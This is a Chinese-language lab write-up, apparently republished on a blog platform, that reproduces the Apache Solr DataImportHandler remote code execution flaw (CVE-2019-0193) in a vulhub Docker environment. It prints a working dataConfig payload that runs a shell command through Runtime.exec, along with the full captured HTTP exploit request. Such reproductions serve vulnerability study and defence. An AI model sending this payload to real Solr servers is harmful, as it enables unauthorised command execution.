首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Apache Solr 远程命令执行漏洞(CVE-2019-0193)

Apache Solr 远程命令执行漏洞(CVE-2019-0193)

作者头像
墙角睡大觉
发布于 2019-11-05 09:07:15
发布于 2019-11-05 09:07:15
1.2K00
代码可运行
举报
运行总次数:0
代码可运行

0x01,漏洞背景

Apache Solr 是一个开源的搜索服务器。Solr使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。

影响范围:Apache Solr < 8.2.0

Apache Solr < 8.2.0 并且开启了DataImportHandler模块,在默认情况下该模块不被启用,存在该漏洞。但是Solr>=8.2.0版安全。因为从Solr>=8.2.0版开始,默认不可使用dataConfig参数,想使用此参数需要将JavaSystem属性“enable.dih.dataConfigParam”设置为true。只有当Solr>=8.2.0但是主动将Java System属性“enable.dih.dataConfigParam”设置为true,才存在漏洞。

0x02,环境搭建

环境下载:https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

Apachesolr路径下docker-compose.yml文件

docker-composeup -d

docker-composeexec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

0x03,漏洞利用

如上图所示,首先打开刚刚创建好的test核心,选择Dataimport功能并选择debug模式,填入以下POC:

填入poc

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<dataConfig>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  <dataSource type="URLDataSource"/>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  <script><![CDATA[
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
          }
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  ]]></script>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  <document>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
    <entity name="stackoverflow"
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
            url="https://stackoverflow.com/feeds/tag/solr"
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
            processor="XPathEntityProcessor"
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
            forEach="/feed"
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
            transformer="script:poc" />
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  </document>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
</dataConfig>

点击Executewith this Confuguration会发送以下请求包:

在抓包发包之前我们查看服务器的/tmp文件夹

通过抓包可以发现

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Host: localhost:8983
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Accept: application/json, text/plain, */*
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Accept-Encoding: gzip, deflate
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Content-type: application/x-www-form-urlencoded
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
X-Requested-With: XMLHttpRequest
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Content-Length: 679
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Connection: close
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Referer: http://localhost:8983/solr/
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport

执行docker-composeexec solr ls /tmp,可见/tmp/success已成功创建

参考文章:

https://xz.aliyun.com/t/5965

https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Apache Solr 漏洞复现
Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558) 漏洞描述
黑白天安全
2020/09/29
1.9K0
Apache Solr 漏洞复现
Apache Solr远程代码执行(CVE-2019-0193)漏洞复现
Apache Solr 是一个开源的企业级搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。Apache Solr 中存储的资源是以 Document 为对象进行存储的。它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
sugarbeet
2022/09/26
1.5K0
Apache Solr远程代码执行(CVE-2019-0193)漏洞复现
Apache Solr漏洞总结
Apache Solr 是Apache开发的一个开源的基于Lucene的全文搜索服务器。其集合的配置方法(config路径)可以增加和修改监听器,通过RunExecutableListener执行任意系统命令。
黑白天安全
2021/04/08
4.6K0
CVE-2019-0193:Apache Solr远程命令执行漏洞复现
在Burp中发送以下POC即可执行命令弹出计算器,下面的<your_core_name> 需要替换为你获取到的 core 的 name(共两处)
Timeline Sec
2019/12/15
2.6K0
[CVE-2019-0193] - Apache Solr DataImport 远程命令执行分析
语雀链接:https://www.yuque.com/tianxiadamutou/zcfd4v/uyceyo
亿人安全
2022/06/30
1.2K0
[CVE-2019-0193] - Apache Solr DataImport 远程命令执行分析
【漏洞预警】Apache Solr远程代码执行漏洞 (CVE-2019-0193)处置手册及技术分析
近日,Apache Solr官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。
绿盟科技安全情报
2019/10/24
1.2K0
【漏洞预警】Apache Solr远程代码执行漏洞 (CVE-2019-0193)处置手册及技术分析
【漏洞预警】Apache Solr 远程代码执行漏洞(CVE-2019-0193)预警通告
近日,Apache官方发布Apache Solr远程代码执行漏洞(CVE-2019-0193)安全通告,此漏洞存在于可选模块DataImportHandler中,DataImportHandler是用于从数据库或其他源提取数据的常用模块,该模块中所有DIH配置都可以通过外部请求的dataConfig参数来设置,由于DIH配置可以包含脚本,因此该参数存在安全隐患。
绿盟科技安全情报
2019/10/24
7240
【漏洞预警】Apache Solr 远程代码执行漏洞(CVE-2019-0193)预警通告
【技术分享】Solr DataImportHandler组件漏洞
DataImportHandler是一个可选但使用广泛的模块,默认不启用,用于从数据库和其他源中提取数据,它有一个特性即整个DIH配置可以来自一个请求的“dataConfig”参数。DIH管理的调试模式使用它来方便地调试DIH配置的开发。因为DIH配置可以包含script脚本,所以这个参数存在安全风险。从Solr的8.2.0版本开始,使用这个参数需要设置 Java System property,设置"enable.dih.dataConfigParam" 为 true.。
安全乐观主义
2019/11/20
7660
Apache Solr Velocity模板注入RCE漏洞复现
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
用户1631416
2019/11/04
1.7K0
Apache Solr Velocity模版注入远程命令执行漏洞复线
Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。
墙角睡大觉
2019/11/05
1.5K0
Apache Solr Velocity模板注入RCE漏洞复现
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
Power7089
2019/11/07
1.1K0
Apache Solr DataImportHandler远程代码执行漏洞(CVE-2019-0193) 分析
2019年08月01日,Apache Solr官方发布预警,Apache Solr DataImport功能 在开启Debug模式时,可以接收来自请求的"dataConfig"参数,这个参数的功能与data-config.xml一样,不过是在开启Debug模式时方便通过此参数进行调试,并且Debug模式的开启是通过参数传入的。在dataConfig参数中可以包含script恶意脚本导致远程代码执行。
知道创宇云安全
2019/08/14
1.6K0
Apache Solr DataImportHandler远程代码执行漏洞(CVE-2019-0193) 分析
Apache Solr远程命令执行复现
环境可以使用/vulhub/solr/CVE-2019-0193/的环境,进入目录后直接 docker-compose up -d 如下:
糖果
2019/11/20
1.4K0
apache漏洞 服务器远程执行恶意代码漏洞的修复与加固
apache最近爆出的漏洞越来越多,旗下的solr产品存在远程服务器执行恶意代码漏洞,该漏洞产生的主要原因是因为apache dataimporthandler数据外部收集的一个端口模块,该模块支持从远程的地址进行通信,并多数据进行收集,正因为开放了远程地址,可导致攻击者构造恶意的代码对DIH进行脚本注入,从而让后端服务器对恶意代码进行了执行,该漏洞可导致服务器被攻击,被入侵,关于该漏洞的详情我们SINE安全技术深入的带大家来分析:
网站安全专家
2019/08/12
9500
apache漏洞 服务器远程执行恶意代码漏洞的修复与加固
Apache Solr DataImportHandler RCE
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
安恒网络空间安全讲武堂
2019/09/08
8230
Solr Velocity模板远程命令执行漏洞+反弹shell
默认端口是8983,我们访问这个地址,然后在core admin中找到了alice
字节脉搏实验室
2020/05/12
1.5K0
CVE-2021-44548:Apache Solr 敏感信息泄露漏洞
Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。
Timeline Sec
2022/05/25
1.4K0
CVE-2021-44548:Apache Solr 敏感信息泄露漏洞
Solr基本搭建及MySQL配置
启动后访问 http://127.0.0.1:8983/, 理论上即可进入Solr管理界面。具体内容见Solr Admin UI
lpe234
2020/07/27
1.2K0
Apache solr(二).
上一篇试着进行了solr的安装和配置,以及如何solr的检索,今天试着简单的将solr连接MySQL数据库(才尝试了单表、一对多和多对多的还有待研究) 1、MySQL的目录结构 2、新建一个democ
JMCui
2018/03/16
8160
Apache solr(二).
Solr
bin目录下 solr start 后台url (opens new window)
P轴
2022/11/18
1.4K0
Solr
推荐阅读
相关推荐
Apache Solr 漏洞复现
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档